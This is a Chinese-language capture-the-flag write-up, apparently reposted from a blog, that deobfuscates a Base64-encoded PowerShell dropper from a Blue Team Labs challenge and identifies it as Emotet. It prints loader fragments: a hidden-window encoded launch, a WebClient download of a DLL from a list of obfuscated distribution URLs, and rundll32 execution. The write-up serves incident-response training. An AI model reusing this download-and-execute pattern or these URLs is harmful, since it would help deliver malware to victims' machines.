BTLO靶场-恶意PowerShell分析
2022-8-28 09:1:14 Author: 安全孺子牛(查看原文) 阅读量:14 收藏

1、题目简介

1.1 背景介绍

        最近,一家名为 GothamLegend 的大公司的网络在一名员工打开包含恶意软件的网络钓鱼电子邮件后遭到入侵。造成的损害非常严重,并导致整个业务范围的中断。GothamLegend 不得不联系第三方事件响应团队来协助调查。您是 IR 团队的成员 - 您所拥有的只是一个编码的 Powershell 脚本。您能否对其进行解码并确定造成此攻击的恶意软件?

1.2 题目链接

https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef

2、题目解析

PowerShell 接受不区分大小写的输入,因可以忽略本文中的随机大写,查看脚本文件为powershell执行,可以通过CyberChef进行分析

https://gchq.github.io/CyberChef
POwersheLL -w hidden 
#表示打开了一个隐藏的 PowerShell 窗口(对用户不可见)
-ENCOD
#简写encoded表示该脚本是使用 Base64 编码的

2.1 使用什么安全协议与恶意域进行通信?

使用 CyberChef 中的From Base64进行解码,解码后,它看起来很乱,而且很明显被混淆了。

复制解码后的内容,通过查找和替换功能,替换掉包含.符号内容,并把匹配模式改成Simple String

继续使用查找和替换,把;替换为\n换行

在这里询问 SSL、TLS,通过查看第8行数据信息,发现内容如下,显示协议是sEcuRITYproTocol=Tls12,对应答案为TLS 1.2

( vARiaBLe  ("m"+"bu")  -VAlueoN  )::"sEcuRITYproT`o`c`ol" = ('T'+('ls'+'12'))

2.2 混淆后的 PowerShell 创建什么目录?(从\HOME\开始)

通过HOME参考给了我们一个很大的提示,可以看到第6行有一个createdirectory值,它被设置为 $HOME,后面跟着一个长字符串。

 (DIr VariabLE:Mku  ).VaLUe::"c`REAt`edI`REC`TORy"($HOME + (('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92))

$HOME已经\HOME\在我们的答案中了,并且+告诉 PowerShell 将以下文本连接到它,所以我们只需将以下数据(以 开头(('{'+'0}Db_bh')直接放入 PowerShell 并让它为我们进行反混淆。

echo $(('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92)

        最终网站路径为:\HOME\Db_bh30\Yf5be5g\

2.3 正在下载什么文件(全名)

现在我们有了恶意软件创建的目录,找到它应该是一件轻而易举的事。查看第 9-11 行,我们看到 3 个变量声明,但只有一个在后面的脚本中被重用。基于混淆,可能在其他混淆行中引用了其他行。但是,由于$Swrp6tc第 12 行中完整显示了该目录,它也引用了该$HOME目录,所以我将从那里开始,看看我们得到了什么。

$F35I=('I'+('4'+'_B'))
$Swrp6tc = (('A6'+'9')+'S')
$X27H=('C3'+'3O')
$Imd1yck=$HOME+((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."ReP`lACe"(('U'+'OH'),[StrInG][chAr]92))+$Swrp6tc+(('.'+'dl')+'l')

看到$HOME被连接到另一个长的混淆字符串,然后是.Replace,然后是第 10 行 + '.dll' 中的另一个连接到我们的变量。我将通过 PowerShell 运行第一个字符串,以查看它是否与问题 2 中的目录相同。

echo $((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."ReP`lACe"(('U'+'OH'),[StrInG][chAr]92))

通过查看$Swrp6tc+(('.'+'dl')+'l')名称获取文件名称为:A69S.dll

echo $((('A6'+'9')+'S')+(('.'+'dl')+'l'))

2.4 用什么来执行下载的文件

目前已经脚本$Imd4yck用作文件的引用。在第 16 行,看到try{(&(New-Object) System.Net.WebClient.DownloadFile($Bm5pw6z, $Imd1yck),第 16 行以 foreach 循环开始,它迭代$B9fhbyv并尝试下载文件并将其保存到我们的A69S.dll文件中。如果我们 echo $B9fhbyv,我们会看到它是一个 URI 列表。

echo $(']'+('a'+'nw[3s://adm'+'int'+'k.c'+'o'+'m/'+'w')+('p-adm'+'in/'+'L/')+'@'+(']a'+'n'+'w[3s')+':'+'/'+'/m'+('ike'+'ge')+('e'+'r'+'inck.')+('c'+'om')+('/c/'+'Y'+'Ys')+'a'+('/@]'+'anw'+'['+'3://free'+'lanc'+'e'+'rw')+('ebdesi'+'gnerh'+'yd')+('er'+'aba')+('d.'+'com/')+('cgi'+'-bin'+'/S')+('/'+'@'+']anw')+('[3'+'://'+'etdog.co'+'m'+'/w')+('p-'+'co')+'nt'+('e'+'nt')+('/n'+'u/@')+(']a'+'nw[3')+'s'+('://'+'www'+'.hintu'+'p.c')+('o'+'m.')+('b'+'r/')+'w'+('p'+'-co')+('n'+'ten')+('t'+'/dE/'+'@]a'+'nw[3://'+'www.')+'s'+('tm'+'arouns'+'.')+('ns'+'w')+('.'+'edu.au/p'+'a'+'y'+'pal/b8')+('G'+'/@]')+('a'+'nw[')+('3:'+'/')+('/'+'wm.mcdeve'+'lop.net'+'/'+'c'+'on'+'t'+'e')+('nt'+'/')+'6'+('F2'+'gd/'))."RE`p`lACe"(((']a'+'n')+('w'+'[3')),([array]('sd','sw'),(('h'+'tt')+'p'),'3d')[1])."s`PLIT"($C83R + $Cvmmq4o + $F10Q)

在第18行中脚本检查下载文件是否为有效大小,如果是执行rundll32,执行新的下载的DLL,答案为:rundll32

2.5 以/6F2gd/结尾的URI的域名是什么

        根据解析后的URL,显示以6F2gd结尾的文件域名为:wm.mcdevelop.net

2.6 根据对混淆代码的分析,恶意软件的名称是什么?

基于搜索引擎进行搜索发现文件内容,发现该文件为emotet病毒


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2MDI0NTM2Nw==&mid=2247488486&idx=1&sn=1f2d063e3dd9c8d229880485597976ed&chksm=ea6dc1fedd1a48e8921d1a6dc61b3e369e3cb6d3432e0a7cd4f511465d8cfca32ac52f0c7e40#rd
如有侵权请联系:admin#unsafe.sh